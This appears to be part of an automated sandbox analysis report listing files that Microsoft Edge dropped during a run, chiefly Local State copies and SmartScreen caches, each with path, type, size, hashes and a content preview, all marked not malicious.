Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a634.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cd15.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f5ac.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b717.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51360.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.015279837524851
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUnTI4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lUTI4Y
MD5:	7B88C46B842970FF45AA6FBBEC58CF3A
SHA1:	946C57D65BBC22538A4258EF5B2EFB8053E89766
SHA-256:	442BC7AACC3579B1993C0506415B456B323662E05612D0A443D9A82BFA895CB9
SHA-512:	8DA7A451F23705D17DF73308CB4E74B4BA2927B2C11A314E6B3BCBF641875A4E5B4CEB6A1BFB91D253AFA23B6A45519953071DA26CD58A0E42ED8191BF8C51D8
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731935253654491}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

